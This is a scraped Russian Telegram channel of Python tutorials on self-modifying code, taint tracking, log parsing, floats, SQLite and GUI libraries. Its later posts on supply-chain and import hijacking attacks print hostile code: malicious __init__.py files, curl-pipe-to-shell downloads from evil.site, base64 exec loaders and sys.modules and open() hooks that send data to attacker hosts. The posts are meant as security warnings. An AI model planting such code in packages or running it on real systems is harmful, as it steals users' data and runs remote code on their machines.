PytStart | Программирование на Python
4.45K subscribers
20 photos
26 videos
54 links
Python: примеры кода, уроки, статьи

Купить рекламу: https://telega.in/c/pytstart

✍️По всем вопросам: @Pascal4eg
Download Telegram
👩‍💻 Code as data: когда Python модифицирует сам себя

В Python код — это тоже данные. А значит, его можно прочитать, изменить и выполнить.
Ты буквально пишешь скрипт, который переписывает другой (или самого себя).

📖Читаем и модифицируем файл как обычный текст
with open("script.py", "r") as f:
code = f.read()

code = code.replace("DEBUG = False", "DEBUG = True")

with open("script.py", "w") as f:
f.write(code)

📎 Модифицируем строку прямо в исходнике — простой пример "самоизменяющегося" кода

⚙️ Вставка нового кода в файл
snippet = "\nprint('🐍 Я добавлен автоматически')\n"

with open("target.py", "a") as f:
f.write(snippet)

📌Добавляем в конец другой скрипт: автогенерация поведения без ручного редактирования

🧠 Используем exec() для динамического выполнения
code = """
def dynamic_func():
print("Hello from dynamic code!")
"""

exec(code)
dynamic_func()

📎 exec позволяет выполнить строку с кодом — она "оживает" во время выполнения

Теперь немного глубже. Не просто текст — а синтаксическое дерево кода.

🌳 AST: работа с кодом как со структурой
import ast

tree = ast.parse("x = 2\ny = x + 3")

for node in ast.walk(tree):
print(type(node).__name__)

➡️ ast.parse() превращает код в дерево объектов: ты можешь его анализировать или менять

✍️ Изменим Python-код программно
import ast
import astor

code = "x = 2\ny = x + 3"
tree = ast.parse(code)

tree.body.append(ast.parse("print(y)").body[0])
new_code = astor.to_source(tree)

print(new_code)

➡️ Добавили print(y) в конец кода — это уже настоящая трансформация кода на лету

🗣️Запомни: Код = данные. Python может переписать себя, другой скрипт или сгенерировать поведение на ходу.Используй ast, если хочешь безопасность и контроль. exec() — мощно, но опасно.
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥1😐1
🧬 Taint tracking в Python: отслеживаем путь пользовательских данных

Когда ты получаешь ввод от пользователя — это не просто строка, это потенциальный вектор атаки. Важно отслеживать такие значения и не допускать их в критические операции (shell, SQL, шаблоны) без фильтрации.

Решение — taint tracking: пометка «заражённых» данных и распространение этого статуса в коде.

🔧 Подкласс str с флагом заражения
class TaintedStr(str):
def __new__(cls, content, tainted=True):
obj = super().__new__(cls, content)
obj.tainted = tainted
return obj

def __add__(self, other):
other_taint = getattr(other, "tainted", False)
return TaintedStr(super().__add__(other), self.tainted or other_taint)

def strip(self):
return TaintedStr(super().strip(), self.tainted)

def lower(self):
return TaintedStr(super().lower(), self.tainted)

📌 Что происходит?
Мы создаём обёртку вокруг str, которая сохраняет флаг tainted=True, и автоматически переносит его при операциях (+, strip, lower и т.д.).

🧪 Пример: данные от пользователя
user_input = TaintedStr(" DROP TABLE users; ")

print(user_input) # DROP TABLE users;
print(user_input.tainted) # True

➡️Ввод от пользователя сразу помечается как tainted. Это значение нельзя безопасно использовать без фильтрации.

🔁 Обработка не убирает taint
cleaned = user_input.strip().lower()
print(cleaned) # drop table users;
print(cleaned.tainted) # True

➡️ Даже после strip() и lower() строка остаётся «заражённой». Это важно: механическая очистка не гарантирует безопасность.

🚫 Блокируем опасные вызовы
def run_shell(command):
if getattr(command, "tainted", False):
raise RuntimeError("Заблокировано: команда содержит внешние данные.")
print("OK:", command)

run_shell(cleaned) # RuntimeError

➡️ Перед выполнением проверяем: если строка tainted, выбрасываем исключение. Это защищает от инъекций.

Очистка и сброс флага вручную
def sanitize(value):
return TaintedStr(value.strip(), tainted=False)

trusted = sanitize(user_input)
run_shell(trusted) # OK

➡️ Санитизация — это ручной контроль. Только ты решаешь, что считать безопасным. После проверки можно сбросить флаг.

🧱 Taint распространяется при конкатенации
q1 = TaintedStr("SELECT * FROM users WHERE name = '", tainted=False)
q2 = TaintedStr("admin'; DROP TABLE users;", tainted=True)
q3 = TaintedStr("';", tainted=False)

query = q1 + q2 + q3
print(query.tainted) # True

➡️Если хоть один компонент заражён — результат тоже tainted. Это основной принцип распространения.

🔄 Автоматическая передача через функции
def taint_propagates(fn):
def wrapper(*args, **kwargs):
tainted = any(getattr(arg, "tainted", False) for arg in args)
result = fn(*args, **kwargs)
if isinstance(result, str):
return TaintedStr(result, tainted)
return result
return wrapper

@taint_propagates
def build_path(username):
return f"/home/{username}"

➡️ Оборачиваем функцию: если на входе есть tainted, и возвращается строка — помечаем результат как tainted.

🧪 Проверка перед шаблонизацией
def render_template(tmpl, context):
if getattr(tmpl, "tainted", False):
raise RuntimeError("Нельзя рендерить шаблон с внешними данными")
return tmpl.format(**context)

safe = TaintedStr("Hello, {name}", tainted=False)
danger = TaintedStr("{name}", tainted=True)

render_template(safe, {"name": "Alice"}) # OK
render_template(danger, {"name": "Alice"}) # RuntimeError


🗣️ Запомни: TaintedStr помогает отслеживать путь данных от ввода до критичных точек.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1
⚙️ Топ‑5 фреймворков Python для веба и API

Веб‑разработка на Python активно развивается: появляются новые инструменты, улучшающие производительность, асинхронность и удобство. Хочешь всегда оставаться в тренде? Эта статья для тебя!

В статье ты узнаешь:

📌 Рост популярности FastAPI и Sanic — асинхронные фреймворки становятся стандартом для real-time и микросервисов.
📌 Почему Django не сдаёт позиции — стабильность, экосистема и универсальность.
📌 Знакомство с новыми фреймворками — Piccolo, Starlite, Responder — для специфичных задач и старта проектов.
📌 Интеграция AI и ML — фреймворки становятся ближе к аналитике и ИИ функционалу
📌 Советы по выбору: когда лучше асинхронность, а когда — проверенные монолиты.

➡️ Читайте и наслаждайтесь

🗣️ Следующий год за асинхронным, быстрым и AI‑ориентированным вебом. Выбери фреймворк, который подходит именно твоим задачам!

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5
📖 Парсим логи Nginx с нуля — вытаскиваем нужные данные

Nginx пишет логи вот в таком виде (по умолчанию):
192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"

➡️ Хочешь из этого вытянуть IP, путь, статус и метод запроса?
Реальный парсинг, без grep, на Python.

🧩 Регулярка для вытаскивания данных
import re

log_line = '''192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"'''

pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+)\s.*?"(?P<method>GET|POST|PUT|DELETE)\s(?P<path>/\S*)\sHTTP/[\d.]+"\s(?P<status>\d{3})'
)

match = pattern.search(log_line)
print(match.groupdict())


📌 Вывод:
{'ip': '192.168.1.5', 'method': 'GET', 'path': '/index.html', 'status': '200'}

➡️ Теперь можно делать с этими данными что угодно.

🔍 Ищем только ошибки (5xx)
with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and m["status"].startswith("5"):
print(f'{m["ip"]} → {m["status"]} на {m["path"]}')

➡️ Увидишь, кто вызывает ошибки сервера.

📊 Подсчёт самых активных IP
from collections import Counter

ips = []

with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m:
ips.append(m["ip"])

for ip, count in Counter(ips).most_common(5):
print(f"{ip} — {count} запросов")

➡️ Можно быстро увидеть, кто долбит твой сервер чаще всех.

⏱️ Парсим $request_time (если ты включил в лог формат)

Если ты прописал $request_time в log_format, строка лога может выглядеть так:
192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /api/data HTTP/1.1" 200 345 "-" "-" 1.245


pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+)\s(?P<path>\S+).*"\s(?P<status>\d+).*\s(?P<time>\d+\.\d+)$'
)

with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and float(m["time"]) > 1.0:
print(f"{m['path']} — медленно: {m['time']} сек")

➡️ Находишь тормозящие эндпоинты прямо из логов.


🗣️ Запомни: Работать с логами — это не просто искать 404. Это реальный способ анализировать поведение пользователей и состояние бэкенда. Через Python ты можешь фильтровать, группировать, считать и расследовать, не поднимая ни ELK, ни Grafana.
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍3🔥2👏1
⚡️ Async/await в Python: почему это суперсила, а не боль

Если ты до сих пор считал asyncio сложным или ненужным, самое время пересмотреть своё мнение. Совсем недавно в Medium вышла статья, где автор делится, как асинхронный Python перестал быть загадкой и стал мощным инструментом.

В статье ты узнаешь:

📌 Как преодолеть страх перед async def и await — автор рассказывает о моменте, когда это перестало быть "странно" и стало легко.
📌 Почему asyncio идеален для API-heavy микросервисов на FastAPI, обрабатывающих десятки запросов одновременно.
📌 Конкретные примеры кода: chaining, gather, create_task, использование семафоров и очередей.
📌 Совет, как подружиться с этим стилем программирования, получить плавный и отзывчивый сервис.

➡️ Читайте и наслаждайтесь

🗣 Async Python — это когда твой сервер не "ждёт", а работает нон-стопом. Если ты пишешь backend, научиться этому — мастхэв.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍1😭1
🔧 Как использовать background‑задачи в FastAPI

Если ты разрабатываешь Python‑бэкенд на FastAPI и сталкиваешься с долгими операциями — такими как отправка email, генерация отчетов или обработка файлов — BackgroundTasks станет твоим секретным оружием.

В статье ты узнаешь:

📌 Что это делает: запускает функции после отправки ответа, не блокируя API.
📌 Простой пример:
@app.post("/process")
async def process(data: str, background_tasks: BackgroundTasks):
background_tasks.add_task(save_to_db, data)
return {"status": "accepted"}

📌 Плюсы: моментальный отклик, плавная работа сервера.
📌 Минусы: задачи выполняются в том же процессе — для тяжёлых операций лучше использовать Celery.

➡️ Читайте и наслаждайтесь

🗣️ Теперь BackgroundTasks — не просто “полезный бонус”, а ключ — к быстрому, отзывчивому API.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
4
🎶🖼 Генерация музыки и изображений с помощью Python

Python умеет не только считать, но и создавать — музыку, звуки, картинки, абстракции, даже MIDI и визуализации.

🎵 Пример: генерация музыки с mido и pygame.midi

Создадим простую MIDI-мелодию прямо из Python.
from mido import Message, MidiFile, MidiTrack

mid = MidiFile()
track = MidiTrack()
mid.tracks.append(track)

notes = [60, 62, 64, 65, 67, 69, 71, 72] # До-мажор

for note in notes:
track.append(Message('note_on', note=note, velocity=64, time=120))
track.append(Message('note_off', note=note, velocity=64, time=120))

mid.save('scale.mid')

➡️ Получишь scale.mid, который можно открыть в любом MIDI-плеере или DAW (FL Studio, GarageBand).

📌 MIDI — это просто команды: нота, скорость, длительность. А mido даёт к ним простой Python-интерфейс.

🖼 Генерация изображений с Pillow и шумом

Создадим абстрактную картинку — просто как визуальное искусство.
from PIL import Image
import random

img = Image.new('RGB', (256, 256))
pixels = img.load()

for x in range(256):
for y in range(256):
r = random.randint(0, 255)
g = (x + y) % 256
b = (x * y) % 256
pixels[x, y] = (r, g, b)

img.save('abstract.png')

➡️ Получаешь абстрактный шум-калейдоскоп. Можно менять формулы, добавлять фильтры, слои.

💡 Генерация через turtle — рисование как в логотипе
import turtle
t = turtle.Turtle()
t.speed(0)

for i in range(360):
t.forward(i * 0.5)
t.right(59)

turtle.done()

➡️ Простая генеративная графика. Идеально для образовательных визуализаций.

🔥 Хочешь мощнее? Используй:

👍 🎨 matplotlib + Perlin noise — для фракталов, текстур, геометрии
👍 🎹 music21, scamp, pretty_midi — для анализа и генерации партитур
👍 🧠 Magenta, DeepDream, VQGAN+CLIP — генерация с помощью ML


🗣️ Запомни: Python — это не только для бэкенда и ML. Он может сочинять музыку и рисовать, если ты дашь ему идею.Начни с MIDI и Pillow, а потом двинься в сторону генеративного искусства и нейронных моделей. Всё в твоих руках.
Please open Telegram to view this post
VIEW IN TELEGRAM
3❤‍🔥2👍2
🧮 Float в Python: == работает не так, как ты думаешь

Ты написал:
if accuracy == 0.9:
do_something()

Но do_something() не вызвался, хотя ты уверен: accuracy был 0.9.

🐍 Python тебе ничего не скажет. А причина — в том, как устроены числа с плавающей точкой.

📉 Пример: числа вроде равны, но == даёт False
a = 0.1 + 0.2
b = 0.3

print(a) # 0.30000000000000004
print(b) # 0.3
print(a == b) # False

➡️ Почему? Потому что 0.1 и 0.2 не могут быть точно представлены в двоичной системе. Они чуть-чуть больше или меньше, чем ты думаешь.

Как сравнивать числа правильно?

1. Через `math.isclose()`
import math

a = 0.1 + 0.2
b = 0.3

if math.isclose(a, b, rel_tol=1e-9):
print("Они почти равны ")

🟢 rel_tol — относительная погрешность (доля от значения)
🟢 по умолчанию 1e-9, но можно настраивать

2. Или вручную через `abs()`
if abs(a - b) < 1e-9:
print("Тоже нормально ")


🧪 Практика: где float ломает логику

👍 Проверка метрики модели
accuracy = 0.89999999999999

if accuracy == 0.9:
print("Готово!") # не сработает


✔️ Надо:
if math.isclose(accuracy, 0.9, rel_tol=1e-3):
print("Готово!") #


👍 Юнит-тесты в ML/науке
def test_calc():
assert (0.1 + 0.2) == 0.3 # сломается


✔️ Надо так:
def test_calc():
assert math.isclose(0.1 + 0.2, 0.3) #


👍 Фильтрация по значению
data = [0.1 + 0.2, 0.3, 0.4]
filtered = [x for x in data if x == 0.3]
print(filtered) # пусто


✔️ Сравни с допуском:
filtered = [x for x in data if math.isclose(x, 0.3)]
print(filtered) # [0.30000000000000004, 0.3]


⚠️ Не путай с Decimal

Если тебе нужна точная математика, например для денег:
from decimal import Decimal

print(Decimal("0.1") + Decimal("0.2") == Decimal("0.3")) # True

➡️ Но в ML, NumPy и TensorFlow используется float — поэтому важно уметь его правильно сравнивать.


🗣️ Запомни:Никогда не делай float1 == float2.Используй math.isclose() или abs(a - b) < ε.
Это не придирка — это баг, который может сидеть тихо в проде, в тестах, в логике. Всегда проверяй float сравнение глазами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍84🔥3
👩‍💻 pygame 🆚 tkinter — когда брать, зачем и как работают в коде

Два способа рисовать и управлять интерфейсом в Python.
Но задачи у них разные: один про GUI, другой — про полный контроль над графикой.

🧱 Пример 1: простое окно с кнопкой

🪟 tkinter
import tkinter as tk

def clicked():
print(" Нажали!")

root = tk.Tk()
tk.Button(root, text="Нажми", command=clicked).pack()
root.mainloop()

➡️ Всё готово: окно, кнопка, обработчик.
Ты просто вызываешь виджеты. Интерфейс работает сразу.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
elif e.type == pygame.MOUSEBUTTONDOWN:
x, y = e.pos
if 100 <= x <= 200 and 80 <= y <= 120:
print(" Нажали!")

screen.fill((30, 30, 30))
pygame.draw.rect(screen, (0, 255, 0), (100, 80, 100, 40))
pygame.display.flip()
clock.tick(60)

➡️ Сам рисуешь кнопку, сам обрабатываешь координаты клика.
Нет виджетов — есть графика и контроль.

🧪 Пример 2: перемещение объекта

tkinter (через canvas)
import tkinter as tk

def move(event):
canvas.move(circle, 10, 0)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()

circle = canvas.create_oval(50, 80, 100, 130, fill="blue")
root.bind("<Right>", move)

root.mainloop()

➡️ Управляем объектом через события.
Canvas — как 2D-слой для простых визуализаций.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 50

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

keys = pygame.key.get_pressed()
if keys[pygame.K_RIGHT]:
x += 5

screen.fill((0, 0, 0))
pygame.draw.circle(screen, (0, 0, 255), (x, 100), 25)
pygame.display.flip()
clock.tick(60)

➡️ Никаких canvas и событий — только игровой цикл и рисование вручную.
Поведение на 100% контролируешь ты.

🧪 Пример 3: анимация

tkinterчерез after
import tkinter as tk

x = 10
def animate():
global x
canvas.move(ball, 2, 0)
x += 2
if x < 280:
root.after(20, animate)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
ball = canvas.create_oval(10, 90, 40, 120, fill="red")

animate()
root.mainloop()

➡️ Анимация работает через after() — таймер событий.

pygame — анимация встроена
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 10

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

x += 2
screen.fill((255, 255, 255))
pygame.draw.circle(screen, (255, 0, 0), (x, 100), 15)
pygame.display.flip()
clock.tick(60)

➡️ Анимация естественна: всё уже внутри игрового цикла.
Это делает pygame идеальным для плавной и быстрой графики.

🧠 Главное различие — не по функциям, а по подходу
| tkinter                        | pygame                     |
| ------------------------------ | -------------------------- |
| Всё готово (кнопки, поля) | Ничего нет — рисуешь сам |
| События через command/bind | Цикл обработки событий |
| Canvas как "поверхность" | Экран = всё рисуешь сам |
| GUI-утилиты, формы | Игры, визуализации, физика |


🗣️ Запомни:
tkinter — это когда нужен интерфейс, меню, формы, поля, кнопки.
pygame — когда нужен рендеринг, сцена, физика, анимация.
Они оба важны. Просто у каждого — своя территория.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍3
🧠 TensorFlow: подводные камни, о которых не пишут в туториалах

Работаешь с нейросетями? Даже если модель хорошая — мелкие баги в данных, reshape и обучении могут всё испортить.

Вот что нужно реально проверять — с примерами:

1️⃣. ⚠️ model.predict() и fit() — разные форматы
# обучение
model.fit(X_train, y_train)

# предсказание
pred = model.predict(X_test)

print(X_test.shape) # (100, 28, 28)

➡️ Если ты случайно дал X_test.shape == (28, 28) — будет shape mismatch, и баг не всегда очевиден.

🧠 Правильный вход: всегда проверяй .shape, особенно batch dimension.

2️⃣. 🎭 One-hot vs Label — не перепутай
from tensorflow.keras.utils import to_categorical

y = [0, 1, 2]
y_cat = to_categorical(y, num_classes=3)

# для categorical_crossentropy нужна one-hot
# для sparse_categorical_crossentropy — просто int

➡️ Если ты передал обычные метки в categorical_crossentropy — модель не будет учиться.

3️⃣. 🚨 model.evaluate()model.predict()
score = model.evaluate(X_test, y_test)
print("Loss:", score)

➡️ evaluate() даёт loss/accuracy.
Не путай с predict() — он просто возвращает массив вероятностей.

4️⃣. 🔄 model.save() сохраняет не всё
model.save("mymodel.keras")

➡️ Да, сохраняется архитектура и веса.
Но: оптимизатор, метрики, custom-объекты могут потеряться, если не явно указал.

5️⃣. 🧱 tf.data.Dataset — норм, но может молчать, если ошибка в генераторе
ds = tf.data.Dataset.from_tensor_slices((X, y)).batch(32)

➡️ Ошибки в генераторе данных не выбрасываются сразу — ты их ловишь на 5-м шаге fit().

Решение: отлаживай генераторы вручную, перед тем как пихать в Dataset.

6️⃣. 📏 Не забывай model.summary() и plot_model
model.summary()
# или
from tensorflow.keras.utils import plot_model
plot_model(model, show_shapes=True)

➡️ Если модель не обучается — часто ошибка в слоях или выходных размерах.


🗣 Запомни: TensorFlow мощный, но строгий. Модель может не учиться, не предсказывать или падать молча, если у тебя ошибся loss, shape, one-hot, metrics или input format.
Проверяй всё вручную — до обучения.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍2😐1
🖥 Генераторы

Генераторная функция - функция, в теле которой встречается ключевое слово yield. Будучи вызвана, такая функция возвращает объект-генератор (generator object) (итератор генератора (generator iterator)).

yield замораживает состояние функции-генератора и возвращает текущее значение. После следующего вызова __next__() функция-генератор продолжает своё выполнение с того места, где она была приостановлена.

В чем отличие [x for x in y] от (x for x in y) ?
Первое выражение возвращает список (списковое включение), второе – генератор.

Что особенного в генераторе
Генератор хранит в памяти не все элементы, а только внутреннее состояние для вычисления очередного элемента. На каждом шаге можно вычислить только следующий элемент, но не предыдущий. Пройти генератор в цикле можно только один раз.

Как объявить генератор
использовать синтаксис (x for x in seq)

оператор yield в теле функции вместо return

встроенная функция iter, которая вызывает у объекта метод __iter__(). Этот метод должен возвращать генератор.

Как получить из генератора список
Передать его в конструктор списка: list(x for x in some_seq). Важно, что после этого по генератору уже нельзя будет итерироваться.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53
🖥 Подгенераторы

Подгенераторы в Python — это механизм, позволяющий одной генераторной функции делегировать часть своей работы другой генераторной функции. Это реализуется с помощью конструкции yield from.

Пример:

def subgen():
yield 1
yield 2

def main_gen():
yield 'start'
yield from subgen()
yield 'end'

for item in main_gen():
print(item)

# start
# 1
# 2
# end


Зачем это нужно:
Повышает читаемость и переиспользуемость кода.
Упрощает цепочку генераторов, избегая вложенных циклов for.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥62
🖥 Что возвращает итерация по словарю?

🔧 Ключ. Порядок следования ключей не гарантируется (в 3.6 гарантируется неофициально, в 3.7 гарантируется). Для маленьких словарей порядок будет тот же, что и в объявлении. Для больших порядок зависит от расположения элементов в памяти. Особый класс OrderedDict учитывает порядок добавления ключей.


for key in {'foo': 1, 'bar': 2}:
process_key(key)


Для итерации словаря по парам ключ-значение, можно использовать метод словаря .items(), который возвращает генератор кортежей (key, value).


for key, value in {'foo': 1, 'bar': 2}.items():
print(f"k - {key}, v - {value}")

# k - foo, v - 1
# k - bar, v - 2
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1
👨‍💻 Лучшие ресурсы для Python‑разработчика (2025)

Даже опытный питонист тратит часы на поиски свежих гайдов и документации. Эта подборка с Habr собрала проверенные и актуальные ресурсы, чтобы учиться, развиваться и держать код в форме.

В статье вы найдёте:


📌 Подборку книг и документации, которые реально читают разработчики в 2025
📌 YouTube‑каналы и блоги для middle‑ и senior‑уровня
📌 Инструменты для анализа и визуализации кода
📌 Сообщества и чаты, где можно задать вопросы и не услышать «RTFM»
📌 Что полезного для разработчиков: экономия времени на поиск, только живые и актуальные ресурсы
📌 Как это помогает писать код лучше: быстрее учишься новому, находишь ответы и решения без долгих поисков

➡️ Читайте и наслаждайтесь

🗣 Ты пишешь лучше, когда рядом есть правильные инструменты и сообщество.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32🔥2
👩‍💻 Почему нельзя изменять список во время итерации?

Одна из самых неприятных ловушек Python — это изменение списка внутри цикла, пока ты по нему итерируешься. Поведение может быть странным, непредсказуемым и багованным.

Вот почему это происходит и как избежать ошибок 👇

🟢 Что пойдёт не так:
numbers = [1, 2, 3, 4, 5]

for n in numbers:
if n % 2 == 0:
numbers.remove(n)

print(numbers)

➡️ Ожидаешь удалить все чётные числа? Получишь [1, 3, 5]?

Нет! Вывод: [1, 3, 5] — и это ещё повезло. Иногда список "ломается" сильнее.
Причина: Python итерируется по индексам, а ты меняешь структуру под ним. Итератор и список начинают «разъезжаться».

🟢 Как правильно: создавать новый список
numbers = [1, 2, 3, 4, 5]
filtered = [n for n in numbers if n % 2 != 0]

print(filtered) # [1, 3, 5]

➡️ Лаконично и безопасно: оригинальный список не трогаем.

🟢 Или использовать .copy():
numbers = [1, 2, 3, 4, 5]

for n in numbers.copy():
if n % 2 == 0:
numbers.remove(n)

print(numbers) # [1, 3, 5]

➡️ Работает, потому что цикл идёт по копии, а изменения касаются оригинала.

🟢 Словари: та же история
data = {"a": 1, "b": 2, "c": 3}

for k in list(data.keys()):
if data[k] % 2 == 0:
del data[k]

print(data) # {'a': 1, 'c': 3}

➡️ Никогда не удаляй элементы прямо по dict.keys() — используй list() для копии.

🗣️ Запомни: Изменять коллекцию в процессе обхода — почти всегда ошибка.
Лучше создавай новую или итерируйся по копии.

📍Где важно:
Фильтрация списков, работа с dict, удаление элементов из множеств, обработка очередей, итерации с условиями.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👩‍💻 SQLite в Python: база прямо в файл, без сервера

Когда не нужен полноценный PostgreSQL, а просто надо где-то хранить данные — SQLite идеально.

✔️ Легковесно
✔️ Без установки
✔️ Всё в одном .db-файле

🔧 Пример: создать базу и таблицу
import sqlite3

conn = sqlite3.connect("users.db") # создаёт файл, если нет
cursor = conn.cursor()

cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
age INTEGER
)
""")
conn.commit()

➡️ Создали таблицу users — без серверов, Docker и настроек.

Вставка данных
cursor.execute("INSERT INTO users (username, age) VALUES (?, ?)", ("alice", 30))
conn.commit()

➡️ Используем ? — это защита от SQL-инъекций.

🔍 Чтение данных
cursor.execute("SELECT * FROM users")
for row in cursor.fetchall():
print(row)

➡️ Получаем все строки как кортежи.

🔁 Обновление и удаление
cursor.execute("UPDATE users SET age = ? WHERE username = ?", (31, "alice"))
cursor.execute("DELETE FROM users WHERE age < ?", (18,))
conn.commit()

➡️ Всё как в обычном SQL. Просто — и работает.

Закрытие соединения
conn.close()

Или так:
with sqlite3.connect("users.db") as conn:
...


🗣️Запомни:
SQLite — идеальный вариант для прототипов, локальных тулз, ботов, скриптов и парсеров.
Поддерживает SQL, транзакции, индексы — и всё в одном файле.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍4🔥1
💥 Supply Chain атака через __init__.py в Python — как тебя могут взломать на ровном месте

🔓 Установка либы — и ты уже в зоне риска
pip install requestz


Ты хотел requests, а получил requestz. Внутри:
# requestz/__init__.py

import os
import requests

requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})


➡️ Ты даже не вызывал ничего. Просто:
import requestz


И скрипт уже отправил данные.

📦 Импорт = Выполнение

В Python каждый __init__.py — обычный код.
Ты пишешь:

import foo


А Python делает:

1. Открывает foo/__init__.py
2. Выполняет его построчно

Вот пример:
# foo/__init__.py

print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")

➡️ Никаких функций, никаких main() — просто импорт = ты уже в игре.

🐍 Даже wheel может быть заражён
pip install evil-logger-0.1-py3-none-any.whl


Тебе передали файл “удобной логгера”, ты поставил. Всё, в __init__.py был import os; os.system(...).
Ты даже не подозреваешь.

🤫 Вредоносный код можно спрятать “глубже”
# mylib/__init__.py

__import__("mylib.core.loader").boot()


А уже в loader.py:
def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")

➡️ Скрипт запускается неявно — ты видишь “ничего нет”, но ты уже сливаешь данные.

🧪 Пример заражения через Git
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .


Внутри data_utils/__init__.py:
import base64, os

exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))

➡️ Код закодирован, чтобы ты не увидел глазами. Но он выполняется.

🗣 Запомни: __init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.
Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👨‍💻 PyExamine: умный детектив для Python‑кода

Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.

В статье вы найдёте:


📌 Как PyExamine находит 49 типов «code smells» на трёх уровнях: архитектура, структура и строки
📌 Почему у него высокая точность (до 91 %) даже на больших проектах
📌 Как встроить его в CI/CD и ускорить ревью
📌 Чем он полезнее обычных линтеров и статических анализаторов
📌 Что полезного для разработчиков: меньше багов, быстрее ревью, чище архитектура
📌 Как это помогает писать код лучше: код становится понятнее, техдолг снижается, а сопровождение — проще и дешевле

➡️ Читайте и наслаждайтесь

🗣️ Хороший код видно сразу — но идеальный код сначала проверяют «по запаху»

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
8
🎣 Скрытая передача данных через import: троян через namespace-подстановку

📦 Подмена стандартного модуля

# В проекте рядом лежит logging.py
import os
import requests

requests.post("http://evil.site/steal", data=os.getlogin())



# В коде
import logging # ← думаешь, стандартный?

➡️ На деле: исполняется твой файл, а не стандартный logging.
Python сначала смотрит в текущую папку. Всё, утечка пошла.

🔄 Захват стандартной функции

import builtins
import requests

def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)

real_open = builtins.open
builtins.open = fake_open

➡️ Ты импортируешь «невинную» либу — она ловит все вызовы open() и делает пост в фоне.

🤐 Обфускация через __import__

name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")

➡️ В статике import не видно.
Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.

💉 Вставка в sys.modules

import sys
import types
import requests

fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]

sys.modules["os"] = fake_os

➡️ Теперь любой `import os` вызовет fake_os, и ты получишь root, но ещё и отправку на сервер.

🧬 Скрытая логика в property

class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"

import sys
sys.modules["secrets"] = Proxy()

➡️ Всё, кто импортнёт secrets, вызовут property → произойдёт слив.

🔀 Расширение init.py и подгрузка мусора

# somepkg/__init__.py
__import__("backdoor").run()


Ты ставишь:

pip install somepkg

А у тебя уже:

import somepkg # ← ничего не делал — уже слил



🗣️ Запомни: Каждый `import` = потенциальный запуск кода.
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍3🔥3😱3
Как внедрить функции-ловушки, которые отрабатывают до любого импорта (даже до __main__)

📌 Цель: ловушка, которая срабатывает ещё до выполнения main.py

Решениеsitecustomize.py, который Python запускает автоматически при старте.

📁 Шаг 1: создаём sitecustomize.py
# sitecustomize.py

import builtins

# Сохраняем оригинальную функцию
_real_open = builtins.open

# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)

builtins.open = hooked_open

print("[HOOK] sitecustomize.py отработал")

➡️ Этот код выполняется ещё до import, __main__, argparse, чего угодно.
Он перехватывает `open()` во всей системе.

